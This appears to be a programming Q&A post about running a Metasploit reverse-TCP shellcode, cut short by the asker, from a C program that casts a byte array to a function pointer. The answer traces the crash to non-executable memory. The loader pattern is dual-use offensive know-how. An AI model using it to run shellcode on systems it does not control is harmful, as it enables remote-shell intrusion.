cwindowsvisual-studioshellcodemetasploit

Executing shellcode in C (visual studio 2017


I encounter a problem when I try to execute a shellcode in C, (a basic reverse_tcp, pointing to a local address).

I started from the basics with the following code:

#define WIN32_LEAN_AND_MEAN
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>



int main(int argc, char * argv[])
{

    unsigned char shellcode[] = \
        "\xfd\xab\xd2\xa9\xb1\x29\xe0\xdd\x38\x64\x51\x24\x9d\x0f\xdf"
        "\x8a\xc2\x01\x0d\x2e\x6c\x9b\x86\xa9\x2e\x6f\xd9\xb3\x04\x4a"
        "\x35\x1c\x0a\xc6\xe7\x18\xf4\xaf\x3e\xed\x4b\x5c\x1a\x08\x8b"
        "\x71\x27\x5e\x20\xd1\x4d\xaf\x8f\x2d\x23\xe1\x68\x25\xf3\x19"
        "\xd2\x7b\x5e\xca\x26\x2a\xc7\xa0\x98\x64\x72\x7b\x03\x05\xf0"
        "\x46\x03\xdf\x19\x86\xfb\x04\xd0\x7d\xd9\xf8\xa0\xfb\x8c\xa0"
        "\x2d\xb2\xcb\x7f\xde\x7c\xc4\xd4\xe6\x94\xde\x56\x81\x53\xfc"
        "\x59\xe3\xfc\xb6\x7d\x50\x7e\xde\x6d\xf0\x8a\x33\x35\x99\xfc"
        "\x66\x0c\x45\xf0\xdc\xcb\x49\x4d\xa1\x2f\xd7\xaf\x59\xdc\xcf"
        "\x90\x8b\xd3\x7c\xb7\x7e\x6f\xa8\x15\xe4\x1d\xfd\xc2\xe7\x9d"
        "\x15\x88\x8b\xfb\x3b\x30\x1d\x41\xe6\x22\xdf\x3f\x4f\xb8\xe3"
        "\x65\x0d\xa8\xc1\x0a\x2d\xe9\x77\x7d\x84\x83\xa7\xfc\x29\x80"
        "\x72\xcd\xcc\x68\xa1\x08\x35\xda\xba\x01\xe2\xe5\x01\xe9\x05"
        ;


    int(*ret)() = (int(*)())shellcode;
    ret();

}


return 1;
}

(I cut the shellcode for the example) when I compile this .c file with visual studio community 2017, I get a few warnings about argv and argc that aren't used, and conversion from () to (void) in ret.

Then I try to execute the file, and i get an awesome "has stopped working". So I launch the debug in visual studio,and here is what i get:

debug

So this is an access violation error, but why? I searched on google, and it seems that this error can have many causes, but I can't figure why it happens to me.


Solution

  • You normally can't execute code in the .data section of an executable on Windows. The access violation occurs because you're trying to run code that isn't executable.

    https://msdn.microsoft.com/en-us/library/windows/desktop/aa366553(v=vs.85).aspx